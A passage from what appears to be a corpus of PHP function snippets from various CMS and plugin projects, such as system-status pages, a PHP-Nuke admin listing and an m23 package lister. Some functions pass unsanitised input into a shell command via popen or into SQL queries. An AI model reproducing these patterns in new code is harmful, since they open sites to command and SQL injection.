5.4. See: %s', 'templatic-admin' ), esc_html( $php_version ), '<a href=\"http://docs.woothemes.com/document/how-to-update-your-php-version/\" target=\"_blank\">' . __( 'How to update your PHP version', 'templatic-admin' ) . '</a>' ) . '</mark>';\r\n\t\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t\techo '<mark class=\"yes\">' . esc_html( $php_version ) . '</mark>';\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t_e( \"Couldn't determine PHP version because phpversion() doesn't exist.\", 'templatic-admin' );\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t?></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<?php if ( function_exists( 'ini_get' ) ) : ?>\r\n\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t<th data-export-label=\"PHP Post Max Size\"><?php _e( 'PHP Post Max Size', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t\t<td><?php echo size_format( $this->tmpl_let_to_num( ini_get( 'post_max_size' ) ) ); ?></td>\r\n\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t<th data-export-label=\"PHP Time Limit\"><?php _e( 'PHP Time Limit', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t\t<td><?php echo ini_get( 'max_execution_time' ); ?></td>\r\n\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t<th data-export-label=\"PHP Max Input Vars\"><?php _e( 'PHP Max Input Vars', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t\t<td><?php echo ini_get( 'max_input_vars' ); ?></td>\r\n\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t<?php endif; ?>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th data-export-label=\"MySQL Version\"><?php _e( 'MySQL Version', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t<?php\r\n\t\t\t\t\t\t\t/** @global wpdb $wpdb */\r\n\t\t\t\t\t\t\tglobal $wpdb;\r\n\t\t\t\t\t\t\techo $wpdb->db_version();\r\n\t\t\t\t\t\t\t?>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th data-export-label=\"Max Upload Size\"><?php _e( 'Max Upload Size', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t<td><?php echo size_format( wp_max_upload_size() ); ?></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th data-export-label=\"Default Timezone is UTC\"><?php _e( 'PHP Allow URL fopen', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t<td><?php\r\n\t\t\t\t\t\t\tif ( ini_get( 'allow_url_fopen' ) ) {\r\n\t\t\t\t\t\t\t\t$allow_url_fopen = __( 'On', 'templatic-admin' );\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t$allow_url_fopen = __( 'Off', 'templatic-admin' );\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t$default_timezone = date_default_timezone_get();\r\n\t\t\t\t\t\t\tif ( 'On' !== $allow_url_fopen ) {\r\n\t\t\t\t\t\t\t\techo '-';\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\techo '<mark class=\"yes\">&#10004;</mark>';\r\n\t\t\t\t\t\t\t}?>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th data-export-label=\"Default Timezone is UTC\"><?php _e( 'fsockopen/cURL', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t<td><?php\r\n\t\t\t\t\t\t\tif ( function_exists('curl_version') ) {\r\n\t\t\t\t\t\t\t\t$allow_url_fopen = __( 'On', 'templatic-admin' );\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t$allow_url_fopen = __( 'Off', 'templatic-admin' );\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t$default_timezone = date_default_timezone_get();\r\n\t\t\t\t\t\t\tif ( !function_exists('curl_version') ) {\r\n\t\t\t\t\t\t\t\techo '-';\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\techo '<mark class=\"yes\">&#10004;</mark>';\r\n\t\t\t\t\t\t\t} ?>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t</tbody>\r\n\t\t\t</table>\r\n\r\n\t\t<?php\r\n\t}", "function adminMain() {\r\n global $language, $hlpfile, $admin, $aid, $prefix, $file, $dbi;\r\n $hlpfile = \"manual/admin.html\";\r\n include (\"header.php\");\r\n $dummy = 0;\r\n GraphicAdmin($hlpfile);\r\n $result2 = sql_query(\"select radminarticle, radminsuper, admlanguage from $prefix\"._authors.\" where aid='$aid'\", $dbi);\r\n list($radminarticle, $radminsuper, $admlanguage) = sql_fetch_row($result2, $dbi);\r\n if ($admlanguage != \"\" ) {\r\n\t$queryalang = \"WHERE alanguage='$admlanguage' \";\r\n\t$queryplang = \"WHERE planguage='$admlanguage' \";\r\n } else {\r\n\t$queryalang = \"\";\r\n\t$queryplang = \"WHERE planguage='$language' \";\r\n }\r\n OpenTable();\r\n echo \"<center><b>\"._AUTOMATEDARTICLES.\"</b></center><br>\";\r\n $count = 0;\r\n $result = sql_query(\"select anid, aid, title, time, alanguage from $prefix\"._autonews.\" $queryalang order by time ASC\", $dbi);\r\n while(list($anid, $said, $title, $time, $alanguage) = sql_fetch_row($result, $dbi)) {\r\n\tif ($alanguage == \"\") {\r\n\t $alanguage = \"\"._ALL.\"\";\r\n\t}\r\n\tif ($anid != \"\") {\r\n\t if ($count == 0) {\r\n\t\techo \"<table border=\\\"1\\\" width=\\\"100%\\\">\";\r\n\t\t$count = 1;\r\n\t }\r\n\t $time = ereg_replace(\" \", \"@\", $time);\r\n\t if (($radminarticle==1) OR ($radminsuper==1)) {\r\n\t\tif (($radminarticle==1) AND ($aid == $said) OR ($radminsuper==1)) {\r\n \t\t echo \"<tr><td nowrap>&nbsp;(<a href=\\\"admin.php?op=autoEdit&amp;anid=$anid\\\">\"._EDIT.\"</a>-<a href=\\\"admin.php?op=autoDelete&amp;anid=$anid\\\">\"._DELETE.\"</a>)&nbsp;</td><td width=\\\"100%\\\">&nbsp;$title&nbsp;</td><td align=\\\"center\\\">&nbsp;$alanguage&nbsp;</td><td nowrap>&nbsp;$time&nbsp;</td></tr>\"; /* Multilingual Code : added column to display language */\r\n\t\t} else {\r\n\t\t echo \"<tr><td>&nbsp;(\"._NOFUNCTIONS.\")&nbsp;</td><td width=\\\"100%\\\">&nbsp;$title&nbsp;</td><td align=\\\"center\\\">&nbsp;$alanguage&nbsp;</td><td nowrap>&nbsp;$time&nbsp;</td></tr>\"; /* Multilingual Code : added column to display language */\r\n\t\t}\r\n\t } else {\r\n\t\techo \"<tr><td width=\\\"100%\\\">&nbsp;$title&nbsp;</td><td align=\\\"center\\\">&nbsp;$alanguage&nbsp;</td><td nowrap>&nbsp;$time&nbsp;</td></tr>\"; /* Multilingual Code : added column to display language */\r\n\t }\r\n\t}\r\n }\r\n if (($anid == \"\") AND ($count == 0)) {\r\n\techo \"<center><i>\"._NOAUTOARTICLES.\"</i></center>\";\r\n }\r\n if ($count == 1) {\r\n echo \"</table>\";\r\n }\r\n CloseTable();\r\n echo \"<br>\";\r\n OpenTable();\r\n echo \"<center><b>\"._LAST.\" 20 \"._ARTICLES.\"</b></center><br>\";\r\n $result = sql_query(\"select sid, aid, title, time, topic, informant, alanguage from $prefix\"._stories.\" $queryalang order by time desc limit 0,20\", $dbi);\r\n echo \"<center><table border=\\\"1\\\" width=\\\"100%\\\" bgcolor=\\\"$bgcolor1\\\">\";\r\n while(list($sid, $said, $title, $time, $topic, $informant, $alanguage) = sql_fetch_row($result, $dbi)) {\r\n\t$ta = sql_query(\"select topicname from $prefix\"._topics.\" where topicid=$topic\", $dbi);\r\n\tlist($topicname) = sql_fetch_row($ta, $dbi);\r\n\tif ($alanguage == \"\") {\r\n\t $alanguage = \"\"._ALL.\"\";\r\n\t}\r\n\tformatTimestamp($time);\r\n\techo \"<tr><td align=\\\"right\\\"><b>$sid</b>\"\r\n\t .\"</td><td align=\\\"left\\\" width=\\\"100%\\\"><a href=\\\"article.php?sid=$sid\\\">$title</a>\"\r\n\t .\"</td><td align=\\\"center\\\">$alanguage\"\r\n\t .\"</td><td align=\\\"right\\\">$topicname\";\r\n\tif (($radminarticle==1) OR ($radminsuper==1)) {\r\n\t if (($radminarticle==1) AND ($aid == $said) OR ($radminsuper==1)) {\r\n\t\techo \"</td><td align=\\\"right\\\" nowrap>(<a href=\\\"admin.php?op=EditStory&sid=$sid\\\">\"._EDIT.\"</a>-<a href=\\\"admin.php?op=RemoveStory&sid=$sid\\\">\"._DELETE.\"</a>)\"\r\n\t\t .\"</td></tr>\";\r\n\t } else {\r\n\t\techo \"</td><td align=\\\"right\\\" nowrap><font class=\\\"content\\\"><i>(\"._NOFUNCTIONS.\")</i></font>\"\r\n\t\t .\"</td></tr>\";\r\n\t }\r\n\t} else {\r\n\t echo \"</td></tr>\";\r\n\t}\r\n }\r\n echo \"\r\n </table>\";\r\n if (($radminarticle==1) OR ($radminsuper==1)) {\r\n\techo \"<center>\r\n\t<form action=\\\"admin.php\\\" method=\\\"post\\\">\r\n\t\"._STORYID.\": <input type=\\\"text\\\" NAME=\\\"sid\\\" SIZE=\\\"10\\\">\r\n\t<select name=\\\"op\\\">\r\n\t<option value=\\\"EditStory\\\" SELECTED>\"._EDIT.\"</option>\r\n\t<option value=\\\"RemoveStory\\\">\"._DELETE.\"</option>\r\n\t</select>\r\n\t<input type=\\\"submit\\\" value=\\\"\"._GO.\"\\\">\r\n\t</form></center>\";\r\n }\r\n CloseTable();\r\n $result = sql_query(\"SELECT pollID, pollTitle, timeStamp FROM $prefix\"._poll_desc.\" $queryplang ORDER BY pollID DESC limit 1\", $dbi);\r\n $object = sql_fetch_object($result, $dbi);\r\n $pollID = $object->pollID;\r\n $pollTitle = $object->pollTitle;\r\n echo \"<br>\";\r\n OpenTable();\r\n echo \"<center><b>\"._CURRENTPOLL.\":</b> $pollTitle [ <a href=\\\"admin.php?op=polledit&pollID=$pollID\\\">\"._EDIT.\"</a> | <a href=\\\"admin.php?op=create\\\">\"._ADD.\"</a> ]</center>\";\r\n CloseTable();\r\n include (\"footer.php\");\r\n}", "function jigoshop_system_info() {\n\t?>\n\t<div class=\"wrap jigoshop\">\n\t\t<div class=\"icon32 icon32-jigoshop-debug\" id=\"icon-jigoshop\"><br/></div>\n\t <h2><?php _e('System Information','jigoshop') ?></h2>\n\t <p>Use the information below when submitting technical support requests via <a href=\"http://support.jigoshop.com/\" title=\"Jigoshop Support\" target=\"_blank\">Jigoshop Support</a>.</p>\n\t\t<div id=\"tabs-wrap\">\n\t\t\t<ul class=\"tabs\">\n\t\t\t\t<li><a href=\"#versions\"><?php _e('Environment', 'jigoshop'); ?></a></li>\n\t\t\t\t<li><a href=\"#debugging\"><?php _e('Debugging', 'jigoshop'); ?></a></li>\n\t\t\t</ul>\n\t\t\t<div id=\"versions\" class=\"panel\">\n\t\t\t\t<table class=\"widefat fixed\">\n\t\t <thead>\t\t \n\t\t \t<tr>\n\t\t <th scope=\"col\" width=\"200px\"><?php _e('Software Versions','jigoshop')?></th>\n\t\t <th scope=\"col\">&nbsp;</th>\n\t\t </tr>\n\t\t \t</thead>\n\t\t \t<tbody>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('Jigoshop Version','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php echo jigoshop::get_var('version'); ?></td>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('WordPress Version','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php if (is_multisite()) echo 'WPMU'; else echo 'WP'; ?> <?php echo bloginfo('version'); ?></td>\n\t\t </tr>\n\t\t </tbody>\n\t\t <thead>\n\t\t <tr>\n\t\t <th scope=\"col\" width=\"200px\"><?php _e('Server','jigoshop')?></th>\n\t\t <th scope=\"col\"><?php echo (defined('PHP_OS')) ? (string)(PHP_OS) : 'N/A'; ?></th>\n\t\t </tr>\n\t\t </thead>\n\t\t \t<tbody>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('PHP Version','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php if(function_exists('phpversion')) echo phpversion(); ?></td>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('Server Software','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php echo $_SERVER['SERVER_SOFTWARE']; ?></td>\n\t\t </tr>\n\t\t \t</tbody>\n\t\t </table>\n\t\t\t</div>\n\t\t\t<div id=\"debugging\" class=\"panel\">\n\t\t\t\t<table class=\"widefat fixed\">\n\t\t <tbody>\n\t\t \t<tr>\n\t\t <th scope=\"col\" width=\"200px\"><?php _e('Debug Information','jigoshop')?></th>\n\t\t <th scope=\"col\">&nbsp;</th>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('UPLOAD_MAX_FILESIZE','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php \n\t\t \tif(function_exists('phpversion')) echo (jigoshop_let_to_num(ini_get('upload_max_filesize'))/(1024*1024)).\"MB\";\n\t\t ?></td>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('POST_MAX_SIZE','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php \n\t\t \tif(function_exists('phpversion')) echo (jigoshop_let_to_num(ini_get('post_max_size'))/(1024*1024)).\"MB\";\n\t\t ?></td>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('WordPress Memory Limit','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php \n\t\t \techo (jigoshop_let_to_num(WP_MEMORY_LIMIT)/(1024*1024)).\"MB\";\n\t\t ?></td>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('WP_DEBUG','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php echo (WP_DEBUG) ? __('On', 'jigoshop') : __('Off', 'jigoshop'); ?></td>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('DISPLAY_ERRORS','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php echo (ini_get('display_errors')) ? 'On (' . ini_get('display_errors') . ')' : 'N/A'; ?></td>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('FSOCKOPEN','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php if(function_exists('fsockopen')) echo '<span style=\"color:green\">' . __('Your server supports fsockopen.', 'jigoshop'). '</span>'; else echo '<span style=\"color:red\">' . __('Your server does not support fsockopen.', 'jigoshop'). '</span>'; ?></td>\n\t\t </tr>\n\t\t \t</tbody>\n\t\t </table>\n\t\t\t</div>\n\t\t</div> \n </div>\n <script type=\"text/javascript\">\n\tjQuery(function() {\n\t // Tabs\n\t\tjQuery('ul.tabs').show();\n\t\tjQuery('ul.tabs li:first').addClass('active');\n\t\tjQuery('div.panel:not(div.panel:first)').hide();\n\t\tjQuery('ul.tabs a').click(function(){\n\t\t\tjQuery('ul.tabs li').removeClass('active');\n\t\t\tjQuery(this).parent().addClass('active');\n\t\t\tjQuery('div.panel').hide();\n\t\t\tjQuery( jQuery(this).attr('href') ).show();\n\t\t\treturn false;\n\t\t});\n\t});\n\t</script>\n\t<?php\n}", "function PKG_listSpecialpackages($key,$lala,$distr)\n{\ninclude(\"/m23/inc/i18n/\".$GLOBALS[\"m23_language\"].\"/m23base.php\");\n\n//if the key is empty select all packages\nif (empty($key))\n\t $grep=\" | sort\";\n\t else //only get packages matching the key\n\t $grep=\" | grep -i $key | sort\";\n\n\tHTML_showTableHeader();\n\n//write table header\n\techo (\"\n\t\t<tr>\n\t\t\t<td><span class=\\\"subhighlight\\\">$I18N_package_name</span></td>\n\t\t\t<td><span class=\\\"subhighlight\\\">$I18N_size</span></td>\n\t\t\t<td><span class=\\\"subhighlight\\\">$I18N_description</span></td>\n\t\t\t<td><span class=\\\"subhighlight\\\">$I18N_selected</span></td>\n\t\t</tr>\n\t\t\");\n\n//list all m23 special packages and cut the path\n$file=popen(\"find /m23/data+scripts/packages/ /m23/inc/distr/$distr/packages -xtype f -name 'm23*Install.php' -printf \\\"%f\\\\n\\\" $grep;\nfind /m23/data+scripts/packages/userPackages/ -xtype f -name 'm23*Install.php' -printf \\\"%f\\\\n\\\" $grep | awk '{print(\\\"?\\\"$0)}';\" ,\"r\");\n\n$i=0;\nwhile (!feof($file))\n\t{\n\t\t$line=fgets($file,10000);\n\t\t//if we can't get a package: break\n\t\tif (empty($line))\n\t\t\tbreak;\n\n\t\t//User scripts are marked with a ?\n\t\tif ($line[0] == \"?\")\n\t\t\t{\n\t\t\t\t$userScript = '<img border=\"0\" src=\"/gfx/scriptEditor-mini.png\"> ';\n\t\t\t\t$temp = explode(\"?\",$line);\n\t\t\t\t$line = $temp[1];\n\t\t\t}\n\t\telse\n\t\t\t$userScript = '';\n\n\t\tif (($i % 2) == 0)\n\t\t\t$col = 'bgcolor=\"#A4D9FF\" bordercolor=\"#A4D9FF\"';\n\t\telse\n\t\t\t$col = '';\n\n\t\t//split package name and extension\n\t\t$name_extension=explode(\"Install.php\",$line);\n\n\t\t//adds remove line for other packages\n\t\t$var=\"CB_specialPkg\".$i;\n\t\t\n\t\techo(\"<tr $col><td>$userScript\".$name_extension[0].\"</td><td></td><td>\".PKG_getSpecialPackageDescription($name_extension[0],$distr).\"</td><td><input type=\\\"checkbox\\\" name=\\\"$var\\\" value=\\\"\".$name_extension[0].\"\\\"></td></tr>\\n\");\n\n\t\t$i++;\n\t};\n\t\n\tpclose($file);\n\n\tHTML_showTableEnd();\n\nreturn($i);\n}", "function hi_updateVersion() {\n global $pth;\n\n return '<h1>CMSimple_XH - Update-Check</h1>' . \"\\n\"\n . tag('img src=\"' . $pth['folder']['plugins'] . 'hi_updatecheck/images/software-update-icon.png\" class=\"upd_plugin_icon\"')\n . '<p>Version: ' . UPD_VERSION . ' - ' . UPD_DATE . '</p>' . \"\\n\"\n . '<p>Copyright &copy;2013-2014 <a href=\"http://cmsimple.holgerirmler.de/\">Holger Irmler</a> - all rights reserved' . tag('br')\n . '<p class=\"upd_license\">License: GPL3</p>' . \"\\n\"\n . '<p class=\"upd_license\">THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR'\n . ' IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,'\n . ' FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE'\n . ' AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER'\n . ' LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,'\n . ' OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE'\n . ' SOFTWARE.</p>' . \"\\n\";\n}", "function setup()\n\t{\n\t\t// Make sure there are directories\n\t\t$dirs = $this->directories(FALSE, TRUE);\n\t\tif (empty($dirs))\n\t\t{\n\t\t\treturn ee()->output->send_ajax_response(array(\n\t\t\t\t'error' => lang('no_upload_dirs')\n\t\t\t));\n\t\t}\n\n\t\tif (REQ != 'CP')\n\t\t{\n\t\t\tee()->load->helper('form');\n\t\t\t$action_id = '';\n\n\t\t\tee()->db->select('action_id');\n\t\t\tee()->db->where('class', 'Channel');\n\t\t\tee()->db->where('method', 'filemanager_endpoint');\n\t\t\t$query = ee()->db->get('actions');\n\n\t\t\tif ($query->num_rows() > 0)\n\t\t\t{\n\t\t\t\t$row = $query->row();\n\t\t\t\t$action_id = $row->action_id;\n\t\t\t}\n\n\t\t\t$vars['filemanager_backend_url'] = str_replace('&amp;', '&', ee()->functions->fetch_site_index(0, 0).QUERY_MARKER).'ACT='.$action_id;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$vars['filemanager_backend_url'] = ee()->cp->get_safe_refresh();\n\t\t}\n\n\t\tunset($_GET['action']);\t// current url == get_safe_refresh()\n\n\t\t$vars['filemanager_directories'] = $this->directories(FALSE);\n\n\t\t// Generate the filters\n\t\t// $vars['selected_filters'] = form_dropdown('selected', array('all' => lang('all'), 'selected' => lang('selected'), 'unselected' => lang('unselected')), 'all');\n\t\t// $vars['category_filters'] = form_dropdown('category', array());\n\t\t$vars['view_filters'] = form_dropdown(\n\t\t\t'view_type',\n\t\t\tarray(\n\t\t\t\t'list' => lang('list'),\n\t\t\t\t'thumb' => lang('thumbnails')\n\t\t\t),\n\t\t\t'list', 'id=\"view_type\"'\n\t\t);\n\n\t\t$data = $this->datatables(key($vars['filemanager_directories']));\n\t\t$vars = array_merge($vars, $data);\n\n\t\t$filebrowser_html = ee()->load->ee_view('_shared/file/browser', $vars, TRUE);\n\n\t\tee()->output->send_ajax_response(array(\n\t\t\t'manager'\t\t=> str_replace(array(\"\\n\", \"\\t\"), '', $filebrowser_html),\t// reduces transfer size\n\t\t\t'directories'\t=> $vars['filemanager_directories']\n\t\t));\n\t}", "function skin_diff_overview($content, $missing, $changed) {\n\n$IPBHTML = \"\";\n//--starthtml--//\n\n$IPBHTML .= <<<EOF\n<script type=\"text/javascript\" src='{$this->ipsclass->skin_acp_url}/acp_template.js'></script>\n<div class='tableborder'>\n <div class='tableheaderalt'>\n <table cellpadding='0' cellspacing='0' border='0' width='100%'>\n <tr>\n <td align='left' width='95%' style='font-size:12px; vertical-align:middle;font-weight:bold; color:#FFF;'>Сравнение стилей</td>\n <td align='right' width='5%' nowrap='nowrap'>\n &nbsp;\n </td>\n </tr>\n</table>\n </div>\n <table cellpadding='0' cellspacing='0' width='100%'>\n <tr>\n <td class='tablesubheader' width='90%'><strong>Название шаблона</strong></td>\n <td class='tablesubheader' width='5%'>Различия</a>\n <td class='tablesubheader' width='5%'>Размер</a>\n <td class='tablesubheader' width='5%'>&nbsp;</a>\n </tr>\n $content\n </table>\n <div align='right' class='tablefooter'>$missing новых шаблонов и $changed измененных</div>\n</div>\nEOF;\n\n//--endhtml--//\nreturn $IPBHTML;\n}", "function fileDotPHP(){\n\t\t// Gets the file or files based on URL\n\t\tif(isset($_GET['file'])){\n\t\t\t$result = mysql_query(getFile($_GET['file']));\n\t\t}else{\n\t\t\t$result = mysql_query(getFile(\"\"));\n\t\t}\n\t\t\n\t\t// Displays what was retrieved\n\t\twhile ($row = mysql_fetch_assoc($result)) {\n\t\t\tgetFileGlobals($row);\n\t\t\tif(isset($_GET['file'])){\n\t\t\t\t$GLOBALS['adminObjectId'] = $GLOBALS['fileId'];\n\t\t\t}\t?>\n\t\t\t<div class=\"clear\">\n\t\t\t\t<div class=\"fl\">\n\t\t\t\t<?\tif(isset($_GET['file'])){ ?>\n\t\t\t\t\t\t<h1><? printHTML($GLOBALS['objectTitle']); ?></h1>\n\t\t\t\t<?\t}else{ ?>\n\t\t\t\t\t\t<h2><a href=\"<? printHTML(fullURL(getLangVar(\"fileURL\") . $GLOBALS['fileId'])); ?>\"><? printHTML($GLOBALS['objectTitle']); ?></a></h2>\n\t\t\t\t<?\t} ?>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"fr\">\n\t\t\t\t<?\t$result2 = mysql_query(getUser($GLOBALS['createdId'], \"userId\"));\n\t\t\t\t\t\n\t\t\t\t\t$row2 = mysql_fetch_assoc($result2);\n\t\t\t\t\tgetUserGlobals($row2);\n\t\t\t\t?>\t<h3>Created By: <a href=\"<? printHTML(fullURL(getLangVar(\"userURL\")) . $GLOBALS['userId']); ?>\"><? printHTML($GLOBALS['userName']); ?></a></h3>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"cl\">\n\t\t\t\t\t<? printHTML($GLOBALS['objectText']); ?>\n\t\t\t\t</div>\n\t\t\t<?\tif(isset($_GET['file'])){ ?>\n\t\t\t\t<div>\n\t\t\t\t\t<h3><a href=\"<? printHTML($GLOBALS['filePath']); ?>\">Download</a></h3>\n\t\t\t\t</div>\n\t\t\t<?\t}\t?>\n\t\t\t\t<div class=\"fl\">\n\t\t\t\t\t<h4>Created: <? printHTML(date($GLOBALS['dateTimeFormat'], addDate($GLOBALS['createdOn'], $GLOBALS['timeOffset'], \"hour\"))); ?></h4>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"fr\">\n\t\t\t\t\t<h4><a href=\"<? printHTML(fullURL(getLangVar(\"eventURL\") . $GLOBALS['objectId'], \"create\")); ?>\">Sub Event</a> | <a href=\"<? printHTML(fullURL(getLangVar(\"messageURL\") . $GLOBALS['objectId'], \"create\")); ?>\">Reply</a> | <a href=\"<? printHTML(fullURL(getLangVar(\"fileURL\") . $GLOBALS['objectId'], \"create\")); ?>\">Attach File</a> | <a href=\"<? printHTML(fullURL(getLangVar(\"fileURL\") . $GLOBALS['fileId'], \"edit\")); ?>\">Edit</a></h4>\n\t\t\t\t</div>\n\t\t\t</div>\n\t<?\t}\n\t\t\n\t\t// Gets related objects\n\t\tif(isset($_GET['file'])){\n\t\t\tgetRelatedObjects($GLOBALS['objectId']);\n\t\t}\n\t}", "function havp_AVupdate_script() {\n\t$hvdef_freshclam_path = HVDEF_FRESHCLAM_PATH;\n\t$hvdef_sigtool_path = HVDEF_SIGTOOL_PATH;\n\t$f = HVDEF_UPD_STATUS_FILE;\n\t$u = HVDEF_FRESHCLAM_STATUS_FILE;\n\treturn <<< EOD\n#!/bin/sh\n/bin/date +\"%Y.%m.%d %H:%M:%S Antivirus update started.\" > $f\n/bin/date +\"%Y.%m.%d %H:%M:%S Antivirus database already is updated.\" > $u\n{$hvdef_freshclam_path}\nwait\n/bin/cat $u >> $f\n{$hvdef_sigtool_path} --unpack-current daily.cvd\n{$hvdef_sigtool_path} --unpack-current main.cvd\nwait\n/bin/date +\"%Y.%m.%d %H:%M:%S Antivirus update end.\" >> $f\nEOD;\n\n}", "public function main() {\n\t\t$content = '';\n\t\t/** @var \\TYPO3\\CMS\\Extbase\\Object\\ObjectManager $objectManager */\n\t\t$objectManager = GeneralUtility::makeInstance('TYPO3\\\\CMS\\\\Extbase\\\\Object\\\\ObjectManager');\n\n\t\t// Clear the class cache\n\t\t/** @var \\SJBR\\StaticInfoTables\\Cache\\ClassCacheManager $classCacheManager */\n\t\t$classCacheManager = $objectManager->get('SJBR\\\\StaticInfoTables\\\\Cache\\\\ClassCacheManager');\n\t\t$classCacheManager->reBuild();\n\n\t\t// Update the database\n\t\t/** @var \\SJBR\\StaticInfoTables\\Utility\\DatabaseUpdateUtility $databaseUpdateUtility */\n\t\t$databaseUpdateUtility = $objectManager->get('SJBR\\\\StaticInfoTables\\\\Utility\\\\DatabaseUpdateUtility');\n\t\t$databaseUpdateUtility->doUpdate('static_info_tables_it');\n\n\t\t$content.= '<p>' . LocalizationUtility::translate('updateLanguageLabels', 'StaticInfoTables') . ' static_info_tables_it.</p>';\n\t\treturn $content;\n\t}", "function update_tables($inst=null) {\n// create the nodes of all the tables\n\tglobal $conn,$DB,$DTB_PRE,$TB_PRE,$wise_table,$VWMLDBM;\n\tif($inst==1) {\n\t\tif($_SESSION['vwmldbm_inst']!=1) return; // inst=1 is super inst,so access should be protected\n\t}\n\telseif($inst>1 && $inst!=$_SESSION['vwmldbm_inst'] && $_SESSION['vwmldbm_inst']!=1) return; // inst=1 can access other inst\n\telseif(!$inst) $inst=$_SESSION['vwmldbm_inst']; \n\n// SJH_MOD \n\tif($TB_PRE==\"\" || $TB_PRE==null) $sql=\"select no from {$DTB_PRE}vwmldbm_tb where name like '%'\";\n\telse $sql=\"select no from {$DTB_PRE}vwmldbm_tb where name like '$TB_PRE\".\"\\_%'\";\n\n\t$res_tables=mysqli_query($conn,$sql);\n \n\tif($res_tables) {\n\t\twhile($rs_tables=mysqli_fetch_array($res_tables)) $wise_table[]=Table_node::get_new_node($rs_tables['no'],$inst);\n\t}\n\t$num_tables=0;\n\tfor($i=0;$i<count($wise_table);$i++){\n\t\tif($wise_table[$i]->tb_no==\"\") continue; // skip unnecessary tables\n\t\t$num_tables++;\n\t}\n\techo \"The number of tables: <b>$num_tables</b> <br>\";\n\t\n\tif($num_tables<1) return;\n\n// update upLinks and downlinks\n\t$res_f=mysqli_query($conn,\"select * from {$DTB_PRE}vwmldbm_rmd_fkey_info \");\n\t\n\tif($res_f) {\n\t\tif(mysqli_num_rows($res_f)<1) return; // there is no data in wise_rmd_feky_info\n\t\twhile($rs_f=mysqli_fetch_array($res_f)) {\n\t\t\t$from_tb_no=get_tree_no($rs_f['from_db'],$rs_f['from_tb'],$inst);\n\t\t\t$to_tb_no=get_tree_no($rs_f['to_db'],$rs_f['to_tb'],$inst);\n\t\t\t//echo $from_tb_no .\" => \".$to_tb_no.\"<br>\";\n\t\t\tupdate_node($from_tb_no,$to_tb_no);\n\t\t}\n\t}\n\n\t\n// root/terminal node unmarking\t\n\tfor($i=0;$i<count($wise_table);$i++){\n\t\tif(count($wise_table[$i]->upLink))\n\t\t\t$wise_table[$i]->is_root=false;\n\t\tif(count($wise_table[$i]->downLink)){\n\t\t\t$wise_table[$i]->is_terminal=false;\n\t\t}\n\t}\n\t\n\t\n// Find each root node and do the 